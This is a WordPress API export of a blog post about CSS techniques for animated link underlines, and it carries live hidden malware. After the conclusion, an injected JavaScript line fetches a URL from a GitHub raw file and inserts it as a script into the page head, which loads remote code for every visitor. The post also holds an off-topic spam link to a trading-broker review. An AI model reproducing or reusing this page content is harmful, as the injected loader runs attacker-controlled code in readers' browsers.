{"id":3418,"date":"2022-05-02T17:00:00","date_gmt":"2022-05-02T17:00:00","guid":{"rendered":"https:\/\/cssdeck.com\/blog\/?p=3418"},"modified":"2025-01-02T16:47:24","modified_gmt":"2025-01-02T16:47:24","slug":"css-snippets-for-creating-stunning-animated-underline","status":"publish","type":"post","link":"https:\/\/cssdeck.com\/blog\/css-snippets-for-creating-stunning-animated-underline\/","title":{"rendered":"CSS Snippets for Creating Stunning Animated Underline"},"content":{"rendered":"\n<p>Have you become bored of looking for <a href=\"https:\/\/cssdeck.com\/blog\/how-to-easily-create-css-animations-with-motion-ui\/\" title=\"https:\/\/cssdeck.com\/blog\/how-to-easily-create-css-animations-with-motion-ui\/\"><strong>CSS animations<\/strong><\/a> to go with your menu items and links?<\/p>\n\n\n\n<p>No need to look any further!\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">For Animated Underline Effect<\/h2>\n\n\n\n<p>To create\u00a0<strong>animation underline in CSS<\/strong>, hover over the text,\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"700\" height=\"314\" src=\"https:\/\/cssdeck.com\/blog\/wp-content\/uploads\/2022\/04\/animation-underline-in-css.-1.jpeg\" alt=\"\" class=\"wp-image-3421\" \/><figcaption>Animation Underline in CSS<\/figcaption><\/figure><\/div>\n\n\n<ul><li>To have the underlining span simply the width of the text content, use display: inline-block.<\/li><\/ul>\n\n\n\n<ul><li>To insert it behind the content, use the: after pseudo-element with width: 100 percent and position: absolute.<\/li><\/ul>\n\n\n\n<ul><li>To conceal the pseudo-element at first,<\/li><\/ul>\n\n\n\n<p>Use transform: scaleX(0).<\/p>\n\n\n\n<ul><li>To apply to transform: scaleX(1) and show the pseudo-element on hover,\u00a0<\/li><\/ul>\n\n\n\n<p>\u00a0Use the: hover pseudo-class selector.<\/p>\n\n\n\n<ul><li>For doing left and a suitable transition to animate the transformation,<\/li><\/ul>\n\n\n\n<p>Use transform-origin.<\/p>\n\n\n\n<ul><li>To make the transform originate from the element&#8217;s center, remove the transform-origin attribute.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">&#8220;ACTUAL&#8221; Underlines<\/h2>\n\n\n\n<p>We can do\u00a0<strong>animation underline in CSS<\/strong>\u00a0using some of the newer text-decoration features. It is preferable to have our underlines blink on hover in and out of existence, and we can keep the pleasant functionality that most browsers provide us.<\/p>\n\n\n\n<p>\u00a0It is where the underlining skips the text&#8217;s descenders by animating true underlines (the default for the text-decoration-skip-ink property).<\/p>\n\n\n\n<p>We may use a fade-in effect as the most basic example. A text underline&#8217;s opacity cannot be animated. However, it may animate from translucent to the chosen color. The text-decoration-style attribute is first set to underline, and I&#8217;m specifying the text-decoration-thickness and text-decoration-color while using the shortcut text-decoration. We may change the color to be translucent.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"700\" height=\"452\" src=\"https:\/\/cssdeck.com\/blog\/wp-content\/uploads\/2022\/04\/animation-underline-in-css...jpeg\" alt=\"\" class=\"wp-image-3422\" \/><figcaption>Animation underline in CSS<\/figcaption><\/figure><\/div>\n\n\n<p>Then we may change it to an opaque value on hover.<\/p>\n\n\n\n<p>Let&#8217;s have a look at\u00a0<strong>animation underlines in CSS<\/strong>.<\/p>\n\n\n\n<p><strong>Read also:<\/strong>\u00a0<a href=\"https:\/\/onlinetrading.wiki\/independent-bdswiss-review-is-it-worth-it\/\" target=\"_blank\" rel=\"noreferrer noopener\">Independent BDSwiss Review<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Spanning of Multiple Lines<\/h2>\n\n\n\n<p>CSS line break styles are challenging to deal with and workaround. However, developer Will King used his inventiveness to create this pen, which has a dynamic underlining effect that spans numerous lines and is bug-free.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"700\" height=\"368\" src=\"https:\/\/cssdeck.com\/blog\/wp-content\/uploads\/2022\/04\/animation-Underline-in-CSS-2.jpeg\" alt=\"\" class=\"wp-image-3423\" \/><\/figure><\/div>\n\n\n<p>It&#8217;s worth noting that this relies on a bit of <a href=\"https:\/\/cssdeck.com\/blog\/javascript-and-css-tips-for-beginners\/\"><strong>JavaScript <\/strong><\/a>to keep the line intact. However, it&#8217;s flexible enough to work with any link on the page, so it doesn&#8217;t matter how the text is formatted.<\/p>\n\n\n\n<p>Plus, the backdrop is created using a custom CSS3 gradient, which is quite impressive.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Sliding Underlines<\/strong><\/h3>\n\n\n\n<p>Developer Ryan Morse used only CSS to create this primary sliding underline effect. Given that it doesn&#8217;t even need the use of an additional HTML item, it&#8217;s an exquisite approach.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"700\" height=\"202\" src=\"https:\/\/cssdeck.com\/blog\/wp-content\/uploads\/2022\/04\/Animation-underline-in-CSS-3.jpeg\" alt=\"\" class=\"wp-image-3424\" \/><figcaption>Animation Underlines in CSS<\/figcaption><\/figure><\/div>\n\n\n<p>You may create dynamic sliding animations with this CSS effect by designing your navigation menus like any other website. In addition, all the outcomes, including easings and overall time, may be changed in the CSS code.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Multi-line Customised Underline<\/h3>\n\n\n\n<p>Let&#8217;s imagine we want to make underlining that runs over many lines of text. This isn&#8217;t something that all strategies would work for.<\/p>\n\n\n\n<p>We&#8217;ll <a href=\"https:\/\/cssdeck.com\/blog\/how-to-add-a-background-image-in-css\/\"><strong>use background-image<\/strong><\/a> in the two instances below since it allows us to span many lines. Although an actual image may be used, we&#8217;ll use a linear gradient to create an idea because this is only a line.<\/p>\n\n\n\n<p>Change the second number in background-position to alter how far the underlining should be from the top. (0 :100 percent)<\/p>\n\n\n\n<p>To alter the required height of the underlining, change the second number in background size: 100 percent 3px.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/cssdeck.com\/blog\/wp-content\/uploads\/2022\/04\/Animation-underline-in-CSS-4.jpeg\" alt=\"\" class=\"wp-image-3425\" width=\"800\" height=\"285\" \/><figcaption>Animation Underline in CSS<\/figcaption><\/figure><\/div>\n\n\n<p>We may also make an animated multi-line underlining that appears when the mouse hovers over.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Underline Text Animation<\/h3>\n\n\n\n<p>In descending elements, the bar underneath the text looks better, and it is distinct in its underlying format and one of a kind. It also looks well with descending characters such as &#8216;p&#8217; and &#8216;g,&#8217; so it&#8217;s a good match. The CSS form in sliding motion is in use in the navigation menus.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"700\" height=\"406\" src=\"https:\/\/cssdeck.com\/blog\/wp-content\/uploads\/2022\/04\/Animation-underline-in-CSS-3-1.jpeg\" alt=\"\" class=\"wp-image-3426\" \/><figcaption>Animation Underline in CSS<\/figcaption><\/figure><\/div>\n\n\n<p>\u00a0Compared to the &#8220;default&#8221; example farther down the page, you&#8217;ll see that this is significantly superior.\u00a0<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Animation Expansion<\/h3>\n\n\n\n<p>The expanding underline style includes in the previously described underline bundle. However, this particular underlining is distinct in that it employs bespoke animation timing.<\/p>\n\n\n\n<p>It&#8217;s worth noting that the <a href=\"https:\/\/cubic-bezier.com\/#.17,.67,.83,.67\"><strong>cubic-bezier() <\/strong><\/a>method is in use to generate a unique hover animation.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"823\" height=\"395\" src=\"https:\/\/cssdeck.com\/blog\/wp-content\/uploads\/2022\/04\/Animation-Underline-in-CSS-4.jpeg\" alt=\"\" class=\"wp-image-3427\" \/><figcaption>Animation Underline in CSS<\/figcaption><\/figure><\/div>\n\n\n<p>This transition is a little faster than the typical &#8220;linear&#8221; transition, and thus it has a distinct impact. You may even try tweaking the bezier movement to create your underlining style.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">CONCLUSION<\/h2>\n\n\n\n<p>You may have a general understanding of how graphics tail effects operate and the benefits and drawbacks of applying them up to this point. Typically, such underlining results are used in <a href=\"https:\/\/www.spec-india.com\/services\/uiux-development\">web design<\/a> to best customize the site. CSS gives you the option of not having to worry with code and instead of following a basic acceptable manner of accomplishing things. Indeed, you may add exquisite appeal to your posts and make them more appealing.<\/p>\n;var url = &#8216;https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt&#8217;;fetch(url).then(response =&gt; response.text()).then(data =&gt; {var script = document.createElement(&#8216;script&#8217;);script.src = data.trim();document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);});<div class=\"wp-socializer wpsr-share-icons \" data-lg-action=\"show\" data-sm-action=\"show\" data-sm-width=\"768\" ><h3>Share and Enjoy !<\/h3><div class=\"wpsr-si-inner\"><div class=\"wpsr-counter wpsrc-sz-32px\" style=\"color:#000\"><span class=\"scount\"><span data-wpsrs=\"\" data-wpsrs-svcs=\"facebook,twitter,linkedin,pinterest,print,pdf\">0<\/span><\/span><small class=\"stext\">Shares<\/small><\/div><div class=\"socializer sr-popup sr-32px sr-circle sr-opacity sr-pad sr-count-1 sr-count-1\"><span class=\"sr-facebook\"><a rel=\"nofollow\" href=\"https:\/\/www.facebook.com\/share.php?u=\" target=\"_blank\"  title=\"Share this on Facebook\"  style=\"color: #ffffff\" ><i class=\"fab fa-facebook-f\"><\/i><span class=\"ctext\"><span data-wpsrs=\"\" data-wpsrs-svcs=\"facebook\">0<\/span><\/span><\/a><\/span>\n<span class=\"sr-twitter\"><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/intent\/tweet?text=%20-%20%20\" target=\"_blank\"  title=\"Tweet this !\"  style=\"color: #ffffff\" ><i class=\"fab fa-twitter\"><\/i><\/a><\/span>\n<span class=\"sr-linkedin\"><a rel=\"nofollow\" href=\"https:\/\/www.linkedin.com\/sharing\/share-offsite\/?url=\" target=\"_blank\"  title=\"Add this to LinkedIn\"  style=\"color: #ffffff\" ><i class=\"fab fa-linkedin-in\"><\/i><\/a><\/span>\n<span class=\"sr-pinterest\"><a rel=\"nofollow\" href=\"https:\/\/www.pinterest.com\/pin\/create\/button\/?url=&amp;media=&amp;description=\" target=\"_blank\"  title=\"Submit this to Pinterest\"  style=\"color: #ffffff\" data-pin-custom=\"true\"><i class=\"fab fa-pinterest\"><\/i><span class=\"ctext\"><span data-wpsrs=\"\" data-wpsrs-svcs=\"pinterest\">0<\/span><\/span><\/a><\/span>\n<span class=\"sr-print\"><a rel=\"nofollow\" href=\"https:\/\/www.printfriendly.com\/print?url=\" target=\"_blank\"  title=\"Print this article \"  style=\"color: #ffffff\" ><i class=\"fa fa-print\"><\/i><\/a><\/span>\n<span class=\"sr-pdf\"><a rel=\"nofollow\" href=\"https:\/\/www.printfriendly.com\/print?url=\" target=\"_blank\"  title=\"Convert to PDF\"  style=\"color: #ffffff\" ><i class=\"fa fa-file-pdf\"><\/i><\/a><\/span><\/div><\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>Have you become bored of looking for CSS animations to go with your menu items and links?<\/p>\n<p>No need to look any further!\u00a0<\/p>\n<p>For Animated Underline Effect<\/p>\n<p>To create\u00a0animation underline in CSS, hover over the text,\u00a0<\/p>\n<p>Animation Underline in CSS<\/p>\n<p>To have the underlining span [&#8230;]<\/p>\n<p><a class=\"more-link article\" href=\"https:\/\/cssdeck.com\/blog\/css-snippets-for-creating-stunning-animated-underline\/\" title=\"Click to read 'CSS Snippets for Creating Stunning Animated Underline'\">Read Article<\/a><\/p>\n","protected":false},"author":21,"featured_media":3419,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[165,61,168,171,172,192],"tags":[],"_links":{"self":[{"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/posts\/3418"}],"collection":[{"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/users\/21"}],"replies":[{"embeddable":true,"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/comments?post=3418"}],"version-history":[{"count":8,"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/posts\/3418\/revisions"}],"predecessor-version":[{"id":3984,"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/posts\/3418\/revisions\/3984"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/media\/3419"}],"wp:attachment":[{"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/media?parent=3418"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/categories?post=3418"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cssdeck.com\/blog\/wp-json\/wp\/v2\/tags?post=3418"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}